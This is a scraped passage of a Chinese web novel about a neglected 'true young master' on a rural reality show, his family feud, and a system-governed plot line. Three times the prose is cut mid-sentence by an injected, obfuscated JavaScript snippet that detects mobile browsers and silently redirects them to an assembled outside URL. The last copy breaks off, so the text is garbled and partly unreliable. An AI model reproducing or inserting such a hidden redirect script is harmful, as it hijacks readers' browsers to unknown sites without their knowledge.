那时明夷做完饭后,还得喂鸡,割猪草喂猪,而备受养父母宠爱的二哥却不用做这些,他甚至可以从养父母手里讨到钱,挥霍着买一些乱七八糟的小玩意。 那时明夷就想,等他长大了,一定要赚到很多的钱,可以买任何他想要的东西。 后来明夷的亲生父母找来了,明夷以为一切都会发生改变,但是没有。 明夷还是没能得到完整的爱。 在燕安和他之间,被放弃的那个人,依旧是他。 明夷是那么的不甘心,他拼命想要证明自己比燕安好,比燕安更值得被爱。 可直到现在,明夷才明白,偏心就是偏心,不是一句值不值得就能改变的。 明夷平淡地将过往说给另一个人听,就像在讲其他人的故事,可纪年听了以后,却比明夷这个当事人还要义愤填膺,甚至忍不住爆了粗口。 “我靠,世界上居然还有这种事!?” 纪年的神情变得非常复杂,有关明夷的传闻,他也不是没听过,但他完全不知道,明夷跟燕安之间还有这段阴差阳错的狗血因缘…… 纪年对燕安的印象瞬间更差了。 不管燕安是不是受害者之一,他都是既得利益者。 明夷被他的粉丝骂的时候,可没见他站出来为明夷说话。 身份倒错的那十四年已经无法弥补,可未来是可以改变的。 无论如何,燕安不该心安理得地占着那个位置,放任燕家父母对明夷的漠视,继续把自己当成燕家的三少爷。 燕安在那里享受鲜花与掌声,还有明夷父母的爱,可明夷呢,他什么都没有了,就算回到燕家,也只能沦为燕安的垫脚石。 是的,垫脚石。 如果燕家真的爱明夷,绝不会让明夷上这个综艺。 《我们在路上》的导演看中明夷,就是为了让他给燕安当对照组,但凡明夷哪里做得不对,节目播出后,明夷的名声绝对会被踩得更烂。 哪怕不爱,也不该如此伤害…… 恶毒,太恶毒了。 整个燕家都有一种无法理喻的恶毒,纪年光是代入一下,都快被气晕了。 对于明夷的过往,纪年仅仅窥见小小一隅,都感觉喘不上气来,他不敢想象明夷是什么感受。 “太过分了,真是太过分了!”纪年不知道该说什么,来来回回重复的都是这一句话,沈盼被纪年的声音吸引进来,疑惑道:“你们在说什么呢,这么激动?” 不等明夷开口,纪年自己已经叭叭地把事情倒干净了,这下好了,生气的人一下子变成了两个。 对上两人写满同情的视线,明夷难得有些哑然无措。 他不知道该怎么处理这种情况,因为他从来没有被人同情过。 他只能干巴巴地说:“都过去了。” “是过去了。”沈盼比较感性,眼眶已经有些微红:“可你错过的十四年,再也回不去了。” 纪年咬牙道:“我爸妈要是这么对我,我能把天都翻了,你怎么受得了的?” 明夷实在不习惯这种氛围,不自然地转移话题道:“时间不早了……我们挖笋去吧。” 纪年和沈盼看出明夷不愿多提这件事,为了照顾明夷的情绪,便配合着没再多说。 三人重新提上篮子,拎上锄头,往后山走去。 有了之前的挖笋经验,加上纪年一路插科打诨,之前凝重的气氛顿时消散不少。 “燕大厨,这么高的笋,能吃吗?一颗够管好几顿饭了吧?”纪年站在一颗有半人高的笋旁边,一边比划一边询问明夷。 明夷连忙阻止他开挖的动作:“这个已经老了,不好吃,一般都用来晒笋干。” 纪年只好依依不舍地放弃这颗巨大的笋。 沈盼蹲在树下,摘了一朵蘑菇给明夷看:“这个蘑菇长得很安全的样子,能不能吃啊?” 明夷瞳孔地震:“这是毒菌,快丢了!” “妈呀!”沈盼吓得一甩手,把手上的毒菌丢出去老远。 这种事情发生得太多,明夷干脆只让这两人跟在旁边看,采摘食材的事由他自己全权负责。 到下山时,三人称得上是满载而归。 春笋,荠菜,香椿,马齿苋……三人搬了凳子,围着水龙头坐了一圈,一起将食材处理干净。 由于纪年十分话痨,一人就把话题包圆了,气氛和和乐乐的,最初的拘谨逐渐消散。 明夷不由有些出神。 在原文里,他虽然也跟纪年和沈盼组了队,但他们间关系还没有好到这个地步。 没有冒牌谢云歇的放水,到上节目之前,他身上的伤都还没恢复,直播开始时,明夷都还在断断续续地发着低烧,状态非常不佳,整个人就显得阴郁孤僻,被纪年和沈盼误认为自视甚高,于是只跟他维持表面的和谐。 剧情……是可以改变的,明夷忽然想到,可剧情究竟能改变到何种程度,能不能让一个本该死在前期的炮灰活下去,大概只有谢云歇知道。 傍晚,明夷切了咸肉,做了一道鲜美的腌笃鲜,再加一道香椿炒鸡蛋,凉拌马齿苋。 摄影师将镜头拉近,只见锅盖一掀,氤氲的热气升腾而起,锅中的汤汁咕噜噜地冒着泡,格外有烟火味。 看到这一幕的观众们都有被馋到。 【可恶,我也想吃腌笃鲜了……】 【不敢想象有多好吃。】 【奇怪啊,这不是讨饭综艺吗,直播间给我干哪来了,居然真让嘉宾们吃上好的了?】 【ymy,一款古希腊掌管做饭的神!至少在这个讨饭综里,我不允许任何人忤逆你!】 【这边岁月静好,可zy那边把番茄炒糊了,谁能去救救另外三个嘉宾啊,他们看上去要碎了……】 明夷用土灶做饭,看上去轻轻松松,游刃有余,实则里面有很大的门道,火候一个控制不好,就容易翻车,祝羽本就是做饭新人,碰上这种地狱级难度的做饭条件,不手忙脚乱才叫奇怪。 于是最后出来的成品就是:微焦的番茄炒蛋、因为没焯水而有些刺嘴的油焖笋、勉强能入口的清炒油麦菜。 燕安、季展云、祝羽三人看着桌上磕碜的菜色,纷纷陷入沉默。 季展云夹了一筷子油焖笋,咀嚼几下,脸色骤变,勉强咽下后,季展云缓缓放下筷子,沉重道:“要不,我们还是去找另一组嘉宾讨饭吧?” 燕安将筷子伸向油麦菜,不忘安慰如丧考妣的祝羽:“没有这么差吧,还是很好吃的!” 祝羽强颜欢笑:“不用安慰我,我知道自己做饭是什么水平。” 事已至此,不必挣扎,去讨饭吧。 去讨饭的路上,燕安还很欢快地说:“二哥说他会做饭,正好可以尝尝二哥的手艺啦。” 听到这里,原本还在哈哈哈的直播间弹幕,忽然诡异地停滞了一瞬。 之前不知道内情就算了,现在他们都知道明夷被互换人生后过的是什么日子,这种貌似天真无邪的发言就显得有点恶心人了。 【emmm……我说话难听就先走了,全是槽点。】 【不懂,燕安怎么好意思叫ymy二哥的,是他亲哥吗就叫?当少爷当久了,还真把自己当真少爷了?】 【讨饭也不是这个讨法吧,反正如果是我的话,我是没法心安理得地去吃ymy的饭。】 【??楼上都是ymy请来的水军吧,ymy给你们几块钱一条,你们要这么黑安安?】 燕安对此还一无所知。 他们三人很快抵达了另一组嘉宾所在的小屋。 门开了,但里面只有纪年和沈盼两人,明夷不在。 纪年对他们的到来并无意外:“早就知道你们会来讨饭,明夷给你们留了一碗腌笃鲜,喏,就在锅里。” 季展云掀开锅盖,意外地看到了一道色香味俱全的菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101906|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色,完美得简直不像是他们这个讨饭综能出现的东西。 祝羽走上前看了眼,也有些惊讶了:“这真是明夷做的?他做得这么好,这合理吗?” 燕安则四处寻找明夷的踪迹:“我二哥呢,他去哪了?” 沈盼淡淡道:“他去洗漱了。” 燕安当即道:“我去找他,顺便谢谢他给我们留的腌笃鲜。”说着,就抬腿要往外走。 纪年眼皮一跳,心想这人是听不懂人话吗,说了在洗漱还要去找人?他一个箭步过去,把燕安给拦住了:“等会儿我会转告他的,你们先回去吃饭吧,等会儿菜都冷了。” 燕安愣了一下,然后缓缓垂下眼:“是二哥……不想见我吗?” 纪年瞬间被激出了一身的鸡皮疙瘩。 要死,以前怎么没发现燕安这么…… 气氛诡异,这时季展云也有点看不过去,打着圆场把燕安带走了,夜色里,燕安眼眶红红的,像是被明夷避而不见的行为伤了心。 当着镜头的面,纪年和沈盼不好多说什么,只是互相交换了一个你懂我也懂的白眼。 豪门的水,果然很深。 - 另一边,明夷洗漱完出来,正擦着头发,忽然一个工作人员走了过来,告诉他有个电话需要他接。 明夷从工作人员那里拿回了自己的手机,对于给他打电话的人是谁,明夷心中早有预料。 会在这个时间点火急火燎地打电话给他,除了燕知衡,没有其他人选。 明夷将毛巾搭在手肘上,接通电话,果然,下一秒燕知衡压抑着怒火的声音就传了出来: “燕明夷,你疯了吗?为什么要在节目上说那些话!你知不知道那些话会对安安造成什么样的负面影响!?” 燕安,又是燕安,除了围着燕安转,他这位大哥的脑袋是不会思考其他事情了吗? 明夷感到厌烦。 于是他也毫不客气地开口,冷冷道:“我之前就很想说了,你能不能别用这种语气对我说话。” 像是没想到明夷的态度会如此带刺,燕知衡一噎:“你说什么?” “其实大哥,我真是搞不懂你,”明夷抬起眼,一双眼睛没有情绪地盯着夜空:“靠卖弟弟拿到的项目是不是赚了很多钱?拿到这笔钱,你就该知足了,是谁给你的脸,让你在利用我谋取利益后,还敢这么对我说话?” “我在谢家那么多天,没有任何消息,你不闻不问就算了,难得打电话过来,就是为了给燕安出头?” 明夷语气嘲讽:“燕安到底给你灌了多少迷魂汤啊。” “哦,我知道了,”一道灵光闪过,明夷忽然眯起眼:“大哥,你不会是……爱上燕安了吧?” 燕知衡被明夷前面一连串的话打得措手不及,听到这句话后,忽然暴怒了:“燕明夷,你又在说什么疯话,安安是我弟弟!” “又不是亲的,”明夷像是发现了什么秘密,轻轻笑出声,恶意满满道:“怪不得你事事护着燕安,原来是因为你爱他,你早说的话我就不嫉妒了,毕竟我这个素昧平生的亲弟弟,哪比得过大哥你深爱多年的假弟弟?” 燕知衡那边噼里啪啦一阵响,像是摔了东西。 在这一刻,明夷终于感受到了精神霸凌他人的快感。 不管燕知衡那边说了什么,明夷一概不听,最后只轻飘飘丢下一句:“兄弟相恋是没有好下场的,大哥,你趁早收手吧,回头是岸啊。” 然后就直接挂了电话。 来电页面再次亮了起来,明夷手速飞快,干脆利落地把这个号码拉黑。 血液在血管里飞快鼓动着,彰显出明夷异常激奋的心情,明夷做了好几个深呼吸,才勉强压下那种将负面情绪全然爆发出来的舒畅感。 在此之前,明夷从没有对家人说过这么难听的话。 造谣,恶意中伤,互相攻讦。 明夷今天做了个遍。 最后只有一种感觉—— 爽! 明夷盯着手机看了一会儿,然后调出通讯录页面。 既然燕知衡让他这么不爽,那大家就都别好过了。 明夷拨通了沈莉蓉的号码。 他这位名义上的亲生母亲,向来偏爱假儿子燕安。 那么,当她知道自己的大儿子有可能爱上假儿子时,又会做出什么样的反应呢? 明夷已经开始期待了。 10.剧情线偏移2% 电话响了很久,才被沈女士接起来。 “明夷,什么事啊?” 明夷酝酿了一秒情绪,然后用特别忧心忡忡的语气说道:“妈,你管管大哥吧。” “你哥怎么了?”沈莉蓉那边果然一顿,接着,背景音中的乐声减弱了许多,沈莉蓉喜欢参加各种宴会,这会儿应该是离开了宴会的核心地带。 明夷:“大哥每次打电话给我,一开口就问我有关燕安的事,我这个亲弟弟过得怎么样,有没有被人欺负,他反倒一点都不问……” “妈,你说,大哥是不是对燕安有别的心思?” 沈莉蓉那边噎了一噎,随即愕然道:“你这孩子,胡说什么呢,安安可是你哥的亲——” 剩下的话还没说话,便戛然而止。 显然,沈莉蓉也已经意识到了,其实燕安跟燕知衡之间并无血缘关系。 明夷继续说道:“他们之间没有关系,当然是最好的了,可是妈,你想过没有,大哥年龄都这么大了,一直没有找嫂子,是不是因为他喜欢男人?” 说着,明夷故作苦恼道:“如果大哥真的喜欢燕安,那可怎么办啊,我已经跟谢家联姻了,大哥要是跟燕安在一起,咱们燕家的香火就要断了,爸他能同意吗?” 听到这里,沈莉蓉也有点不那么坚定了。 她一直把燕安当亲儿子看待,之前从未想过这个问题,现在被明夷点出来,她仔细想想,确实有点不太对劲。 虽说燕安在他们家的时间久,受宠也正常,但燕知衡对燕安的关注度实在有些太高了,大到经济公司和剧本,小到生活用品,什么事都要管一管。 明夷说的对啊,也没见燕知衡对明夷这么上心啊。 沈莉蓉这么一想,心里就有点发堵了。 她对大儿子燕知衡寄予厚望,将来是指望燕知衡继承家业,将燕家的产业做大做强的,就算再宠燕安,她也无法接受两个名义上是兄弟的孩子走在一起。 而且,明夷刚刚的一连串发言,也恰好戳到了沈莉蓉的肺管子。 燕知衡要是真喜欢燕安,燕家的血脉该怎么办? 沈莉蓉定了定心神,强颜欢笑地对明夷说:“不会的,傻孩子,你别多想,你大哥他就是习惯了,所以顺嘴问一句。” 明夷装作松了口气的样子:“哦,那我就放心了,但妈你还是多留意一下,免得大哥酿成大错啊。” 沈莉蓉勉强应了一声,挂断了电话。 明夷心知,虽然沈莉蓉不可能一下子全信他的所有话,但多多少少,他都在沈莉蓉的心里埋下了一颗怀疑的种子。 迟早能给他的好大哥添上堵。 这么一想,明夷从接到燕知衡电话那刻开始的坏心情,不知不觉就消散了。 明夷给手机锁屏,正要将它还给工作人员,没想到又有一个电话打了进来。 今天是捅了电话窝吗?这么多人想跟他说话? 明夷看了手机号码,是陌生来电,明夷以为这是燕知衡换的另一个号码,第一次打来的时候就没接。 直到第二次来电提示响起,明夷才不耐烦地接了电话,语气很不好地开口:“喂?你谁?” “是我,冒牌谢云歇。” 话筒里意料之外地传来了一道低沉的男声,明夷愣了一下,外放的攻击力稍稍收敛,闷声说:“你怎么突然给我打电话了?” 谢云歇在那边慢悠悠说:“我这边忽然收到了剧情线偏移的提示,系统让我问问你,刚刚做了什么。” 咦,剧情线偏移了? 明夷想了想,当然没将实情和盘托出,装无辜道:“我什么都没做啊,有在好好走剧情,剧情线怎么了?” 谢云歇在那边很无奈道:“具体的我也不清楚,就是忽然偏移了2%,系统也查不到原因。” “这样啊,”明夷试着问:“剧情线偏移了会怎么样?” “整个世界线都会崩塌,后果很严重!”谢云歇严肃道:“所以,你千万不要做原剧情里没出现过的事,也千万不要试图改变原文剧情,最好也不要崩人设崩得太明显啊!” “……” 懂了,他明天马上把雷全踩一遍。 “好了,我给你打电话,就是想说说剧情线偏移的事,”谢云歇说着,长吁短叹道:“另外,主角爽度也降了,不知道发生了什么,其他人对主角的印象莫名其妙地降低了。” 身为始作俑者,明夷轻飘飘地说了一句:“啊,那真是一件大喜事呢。” 系统:【……】 没救了,这个恶毒炮灰真的没救了。 大概是从明夷这里问不出什么,谢云歇就没继续问下去,随口换了个话题:“我今晚看你直播了,那道腌笃鲜看上去好香。” 明夷:“一般吧,就放了咸肉和笋,放点鲜肉和百叶结会更香。” 谢云歇殷殷叮嘱他:“山里的夜晚气温低,你要多注意保暖啊,不要感冒了。” 明夷应了一声,心里却有点疑惑,他跟谢云歇顶多算合作关系,谢云歇忽然对他嘘寒问暖干什么? 明夷不知道,对谢云歇来说,当一个活生生的纸片人老婆出现在面前,他真的很难能忍住不去关心。 特别是他的纸片人老婆还是个小可怜,爹不疼娘不爱,生活里还没有朋友,所以即使有些冒昧,但谢云歇还是传递一份力所能及的温暖给明夷。 明夷站着发了会儿呆,刚好纪年找了过来,明夷就对谢云歇说:“我还有事,先挂了。” 谢云歇鼓励他:“嗯!工作加油!” “你也……加油?” 挂掉电话后,明夷感觉更奇怪了,不过纪年的到来打断了明夷的思绪,让明夷没空继续多想。 纪年扫了他手上的手机一眼,没有多问,大大咧咧道:“外面冷,快进来吧。” 傍晚八点,直播间关闭,明夷躺在自己的那张床上,将今天发生的事全部捋了一遍。 剧情线偏移,肯定跟他今晚打的两个电话有关,至于主角爽度下降,估计也跟他今天在直播间里的发言脱不了关系。 不要做原剧情里没出现过的事,不要试图改变原文剧情,不要崩人设。 这是谢云歇特意强调的三点,说明做这些事都能对剧情线造成有效打击。 谢云歇应当是希望他改动剧情线的。 系统可以惩罚谢云歇,却无法惩罚明夷,不管明夷做了什么,系统的手都伸不到他的身上。 明夷不由思考,如果他大幅改动剧情,这个世界会崩塌成什么样子? - 傍晚,悄然发酵了一整天的热搜话题冲上了榜一。 #燕安燕明夷真假少爷# 一个是娱乐圈新星,另一个是娱乐圈万人嫌,两个人名以“真假少爷”的标签凑在一起,效果足够抢眼,忙碌了一整天的吃瓜群众刚躺下来,就收获了一个劲爆的惊天大瓜。 【牛掰……豪门真假少爷文学居然照进现实了(大拇指)】 【所以意思是,ya是假少爷,ymy才是真少爷,窝趣,这经历搁谁身上谁不黑化啊,忽然能理解ymy之前为什么对ya臭脸了……】 【好抓马,这事是真的吗?ymy空口无凭,万一又在撒谎呢?】 看热闹不嫌事大的吃瓜群众们摸到燕氏集团官博底下,不断询问事情的真实性,殊不知,燕知衡此时也在焦头烂额。 燕知衡是想把热搜撤下去的,这种时候,他还是想保全燕安的名声。 假少爷这种名头,安在燕安头上,未免太不好听。 可就在燕知衡忙着打电话撤热搜的时候,沈女士忽然一个电话打了过来。 燕知衡虽然疑惑,但还是接起了母亲的电话:“妈,你有什么事吗,我现在正忙着给安安撤热搜,等会儿再回你电话。” 沈莉蓉本就被明夷的那通话说得神经敏感,一听燕知衡张口就提起燕安,她心情一下子就不好了。 “安安的事有经纪公司管,你一个集团负责人,管这点小事干什么?” 燕知衡不明所以:“现在舆论对安安不利,所以我才——” “妈说了,安安的事有经纪公司管,你是手头没事情干吗?非要盯着娱乐圈那点小打小闹?”沈莉蓉的语气更加不悦,燕知衡听出母亲的心情不佳,只好沉默着没再提燕安的事。 很奇怪,换作以前,听到燕安出了事,母亲都是第一个关心的人,怎么今天…… 沈莉蓉也意识到自己语气不对,放缓了声音:“你要是不忙,过几天就去相亲吧,你王阿姨给妈介绍了好几个不错的姑娘,你去认识一下,说不定就有看中的呢?” 提到相亲,燕知衡话语里多了几分厌烦:“妈,我说过了,现在正是我事业上升期,手头又有好几个大项目……” 听到大儿子再次拒绝相亲,沈莉蓉心中瞬间冒出一团无名鬼火:“什么事业不事业的,都快三十的年龄,现在不找对象,早点成家立业,你还想几岁结婚?” 紧接着,一句话脱口而出:“你难道还想守着安安过一辈子吗!” 燕知衡被这话震得骇然一惊,急忙问道:“妈,你怎么忽然说这个,是不是明夷他跟你说了什么?你别信他说的话,他就是故意想抹黑安安,我和安安之间真的什么都没有!” “那你就去相亲,”沈莉蓉冷冷道:“安安的事,我让他的经纪公司全权接手,你们两个也给我减少接触。你好好干你的项目,别总是分心管别的事。” 燕知衡还想开口辩解一二,却听到母亲的后一句话:“要是被你爸爸发现你出了差错,他会对你很失望的。” 霎时间,燕知衡像被泼了一桶凉水,他喉咙滚动了一下,干涩地问:“那网上关于安安是不是燕家人的争论……” 沈莉蓉现在一听到“安安”两个字就头大,她不悦道:“现在的网民不是吃素的,你当他们查不到事情的真相?你难道还想为了这点小事,搞坏集团的声誉?” 燕知衡哑声道:“……我知道了。” - 另一边,谢云歇也在打电话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101907|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统在他脑海里狐疑发问:【宿主,你这又是在干什么?】 谢云歇挂断电话后,才不紧不慢地回答系统的话:“我在纠正剧情偏移度啊。” 谢云歇戴了一副银框眼镜,面前摆着一台电脑,此刻评论区里,谢云歇花钱买的水军悄然进场。 【就算安安是假少爷又怎么样?现在娱乐圈是靠作品和实力说话!】 【抱走安安不约,在这件事里,安安也是受害者!大家都不要苛责安安了!】 …… 在一水的控评之下,热搜被快速撤下。 谢云歇等待了一会儿,然后询问系统:“如何?” 系统麻木道:【一个好消息,一个坏消息,你想先听哪个?】 “好消息。” 【好消息,主角爽度被拉回来了一点。】 “坏消息。” 【坏消息,偏移的剧情线没有恢复……】 谢云歇摸了摸下巴,认真分析:“看来剧情发生偏移,不仅仅是因为燕安的真实身份被曝光。” “那还能是因为什么呢?” 谢云歇都找不到头绪,系统就更别说了,搞不清状况的它只能在谢云歇的脑海里干着急:【都怪恶毒炮灰!出发前明明已经告诉过他,不要做多余的事情,他倒好,直接把燕安的真实身份给曝出来了!】 谢云歇一听就不高兴了:“你骂他干什么,他又不知道原剧情,愿意配合我们,已经很善良了好不好。” 在原文剧情里,燕安的真实身份也会被小反派揭露,但时机不一样,原文里,燕安被曝光真实身份时,明夷已经死了,而燕安却成为了炙手可热的大明星。 很少有人愿意为死去的明夷说点什么,就算有,他们的声音也被燕安庞大的粉丝群体压了过去。 这会儿燕安根基未稳,而明夷这个当事人又还活着,引起的舆论当然压不下去。 就算强行压下去,也迟早会触底反弹。 但是管它的,反正今天的任务已经完成了,明天的提高爽度值任务,跟今天的他又有什么关系? 谢云歇伸了个懒腰,摘下眼镜,还不忘安慰系统:“你也别太担心,我会一直盯着舆论,主角和剧情线都会变好的。” 哈哈,才怪。 - 第二天清晨,雾清村被袅袅的白雾笼罩,嘉宾们身处其中,如临仙境。 然而,不等嘉宾们欣赏够美景,节目组就宣布了一个极其不幸的消息。 那就是,接下来的生活经费需要嘉宾们自己去赚,讨饭也好,自力更生也罢,反正节目组不会向嘉宾提供一分钱的经费。 早已熟知节目组套路的常驻嘉宾们毫无波澜,纪年和沈盼甚至有点小窃喜,因为他们提前料到了节目组的套路,昨天上山时特意多挖了点笋。 等会儿把笋拖去卖掉,就能赚到一点生活费了! 季展云见他们脸上没有愁容,猜到另一组肯定想到了赚钱的法子,便问了一句。 沈盼倒也不藏私:“昨天多挖了点笋,准备拿去卖。” “卖笋啊,好想法。”季展云看了看山头,想起昨天独自挖笋,却险些闪了腰的经历,不由心有戚戚。 季展云转头一看祝羽和燕安两人,见他们似乎真有上山挖笋的想法,心中暗暗叫苦。 祝羽就算了,燕安明显一个娇生惯养的小少爷,一起上山挖笋,万一又摔了怎么办? 再看明夷那组,三个年轻人已经行动力十足地回家拿笋了。 季展云有些后悔,当时没有坚持选明夷那组。 燕安斗志满满地说:“好!那我们也上山挖笋吧!” 季展云还能说什么,镜头面前,总不好拒绝。 他们这边拿工具上山,明夷那边,则在苦恼这些笋的运输方式。 “这么多笋,少说也有十几斤吧?”纪年对重量没有概念,将篮子提起来掂了掂:“要是有推车就好了,手提过去不得累死?” “推车倒不是最要紧的,我们目前最需要的是秤。”明夷说:“我们去找村民借一下吧。” 三人去拜访了附近的村民,村民们知道最近有节目组在拍摄,表现得十分热情友好,借到第二家时,他们就借到了秤,不仅如此,他们还问到了距离他们最近的集市。 称有了,但小推车却迟迟不见踪迹,有村民表示,可以把自家的电动小三轮车借给他们。 那当然再好不过了! 但问题是,谁会开这个三轮车? 明夷轻咳一声,利落地爬上驾驶位:“我来开吧。” 纪年:“咦,你这也会开?燕贵人,你还有多少惊喜是朕不知道的?” “来不及解释了,”被纪年带动,明夷也难得玩了一句老梗:“快上车!” 纪年和沈盼两人算是第一次体验到了有大佬带飞的感觉。 两人乐滋滋地爬上车,明夷将油门一拧,三人立即在镜头里飞速远去。 摄影师:“!!!” 等等,他还没上车啊! 11.冻疮 一番刺激追逐后,摄影师气喘吁吁地爬上了车,本就不大的后载车斗,顿时变得更加拥挤。 这个点打开直播的观众们看到这幕,纷纷被逗乐。 【摄影师:我不知道啊,他们三个嗖的一下就走了】 【哈哈哈真的没有一个人想起还有摄影师吗?】 【我看这三人明天也不用挖笋去卖了,凑在一起就够笋了】 【ymy还会开电三轮?画风好清奇,好怪,再看看。】 三人回家把昨天挖的笋搬上车,然后向村民说的集市出发。 雾清村以旅游业和种植茶叶为主要收入来源,行驶在静谧清幽的路上,可以看到不远处绿意盎然的茶山,远山则如青黛,隐没在仙气飘飘的白雾里,一眼望去,对眼睛非常友好。 纪年趴在围挡上愉悦吹风,心中生出无限感慨:“这才是真正的‘我们在路上’啊!” 沈盼闻言,也差点迎风流泪:“是啊!这么多期了!咱们终于不是在讨饭的路上了!” 衣食无忧,还能欣赏美丽风景,这种日子他们以前想都不敢想! “好兄弟,以后还想跟你一起上这个综艺!”说到动情时刻,纪年伸手去勾前座明夷的肩膀,惊得明夷险些手一抖,把车开进沟里。 明夷没好气道:“我看你只是馋我的手艺。” 纪年觉得明夷这幅故作冷静的样子怪好玩的,偏要故意促狭老实人:“别这么冷淡啊,明夷,你知不知道,昨晚你半夜说梦话,还是哥哥我哄的你~” 沈盼立即八卦:“什么什么,什么梦话?” 听到纪年这么说,明夷既怀疑又紧张:“我说梦话了吗?” 他还认真回忆了一遍,自己昨晚究竟有没有做梦。 自从联姻后,明夷经常会做噩梦,如果真说了梦话……很可能会是一些比较不堪的内容。 比如在梦里质问燕家,问他们为什么不能分一点点的爱给自己;梦到自己为了凑到一点学费,冒着雨四处求人;梦到怎么逃都逃不出去的恐怖迷宫。 梦到杀人、梦到被杀。 梦到被沉入海里,海水沿着口鼻灌入胸腔。 太多了。 明夷不希望自己一片狼藉的伤疤被任何人看见。 明夷紧绷心弦,等待纪年的回答,就像等待一场即将落下的审判。 纪年完全不知道明夷的所思所想,他卖够关子,这才悠悠道:“那我给你复述一遍吧。” 纪年轻咳一声,拿腔拿调地用带着哭腔的语调学道:“你昨晚是这么说的——‘纪年哥在这个讨饭综实在太惨了!我要一直留在这个综艺给纪年哥做饭,当纪年哥一辈子的小弟~’” “我能怎么办,只好答应你说‘好好好,哥都答应你,以后饭都给你做,你别哭了’,”纪年摇摇头,一副拿他无可奈何的宠溺模样:“你这才像婴儿般安心睡去。” 听完所谓“梦话”后的明夷:“……” 他真的是……对纪年抱有太高的期待了。 沈盼立即与纪年完美配合,痛心疾首:“明宝,为何你的梦里只有纪年哥,没有沈盼姐?姐好伤心,罚你承包姐接下来几期综艺的饭!” ……这综艺到底对他们做了什么?他们真的有这么惨吗? 明夷浅浅露出点笑的模样:“别提做饭的事了,我的手说它有点抖,要把车开进沟里了。” 就这么笑笑闹闹地开了一路,明夷心情稍稍放松。 是他多想了,纪年虽然看着没心没肺,但毕竟也是混迹娱乐圈多年的人精。 就算昨晚真听到了什么,纪年也不会没边界感地把他的私事往外说。 到了集市后,三人合力把后车斗上的笋卸下来,抬着往集市里走,这个集市由当地村民自发组织,会卖一些自家种的东西,以及山里不好买的物资,以满足当地村民生活所需。 打眼一看,三人就暗道不好,这个时节,山上春笋多如毛,卖笋的多的是,想吃的也完全可以自己去挖,他们的笋在这里恐怕卖不上价。 沈盼去四处打听了一下笋的价格,最后三人商量了一下,把他们卖的笋定价为十块一斤。 找个地摊位置,开摆! 完全不必吆喝,三人外貌气质都不俗,往那一站,再加一个端着摄影机的摄影师,很轻易便成为了小摊里最显眼的存在。 明眼人一眼就能看出这是在录节目,刚开始还没人敢上来询问,最多好奇地停驻脚步多看两眼,纪年和沈盼拥有丰富的讨饭经验,卖不出笋也没有担心的样子。 两人说了几句话,转头看明夷时,却发现坐在一旁的明夷微微皱眉,目光忍不住张望,好像有点紧张的样子。 纪年见状和善问:“宝啊,你怎么了?想上厕所?” “……”明夷默然道:“我是在想,有摄像机在,会不会没人来买我们的笋。” 弄清他在担忧什么,沈盼噗嗤一笑:“哎呀明宝你怎么这么可爱呢,没事,你就放宽心吧。” 明夷尴尬地点了点头。 好在没过一会儿,真的有胆大的路人来摊前问了:“你们这是在录节目吗?” 沈盼热情洋溢道:“是啊!要买点笋吗?特鲜!” 路人也爽利:“行,来个三斤吧。” 明夷熟练地称了重量,给客人打包,趁着这个时机,路人继续跟沈盼攀谈:“那个……你是沈盼吧?能合个影吗?” 沈盼爽快地同意了。 这时明夷才有点悟了。 有名人效应在,嘉宾的东西并不愁卖。 签名、合影——对有需要的人来说,嘉宾们真正卖的东西,反倒才是那个添头。 有了第一个顾客,接下来又陆陆续续来了好几个人,全是冲着纪年和沈盼来的,只有旁边的明夷无人问津。 【ymy打称的手法挺准的,看来以前真的有卖过菜。】 【怎么没人跟ymy说话啊,小小一只坐在旁边好可怜】 【呵呵,都是他自己作的,贡献那么多烂片,没有知名度怪谁?】 【有正好在雾清村旅游的姐妹吗?呜呜呜不敢想象她们现在有多爽。】 【谢邀,腿快跑出火星子了,正在赶去买笋的路上。】 明夷倒没多少被忽视的尴尬,在他过往的人生里,被忽视的境遇才是常态,他已习惯当个隐形人。 又送走一个顾客,沈盼都来不及数钱,就先急匆匆地把翻乱的笋整理了一遍。 她的强迫症又发作了,连笋都要按大小排得整整齐齐才满意。 “唉,沈盼,你真是——”纪年笑叹一声,扭头正想跟明夷调侃沈盼,余光瞥到明夷的手,忽而眯起眼睛:“你手上怎么红了几块?” “啊?别是被虫咬了吧,我看看!”沈盼连笋都不摆了,凑过来看明夷的手。 摄影师也立即拉近了镜头。 明夷的皮肤白,对比之下,两根手指的指节明显红了一小块。 明夷手指蜷了一下,没能握成拳,就被纪年抓住了,才不得不说:“应该是冻疮犯了,是老毛病,回去泡泡热水就好了。” “冻疮?”纪年皱眉:“怎么会突然复发?” 纪年想说现在的天气应该没那么冷,可他很快想到了别的。 或许是早上的接的自来水太凉,又或许是开三轮车来的一路上,吹多了清晨的山风。 “痒吗?” 明夷摇头:“没感觉。” 握着明夷的手,纪年还摸到了明夷掌心的茧,一时间,纪年心中百味杂陈。 老实说,初见时,纪年真以为明夷是传言里那种孤僻冷漠的人,深入了解后,纪年才逐渐推翻了之前的想法。 那可能不是孤僻冷漠,而是被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 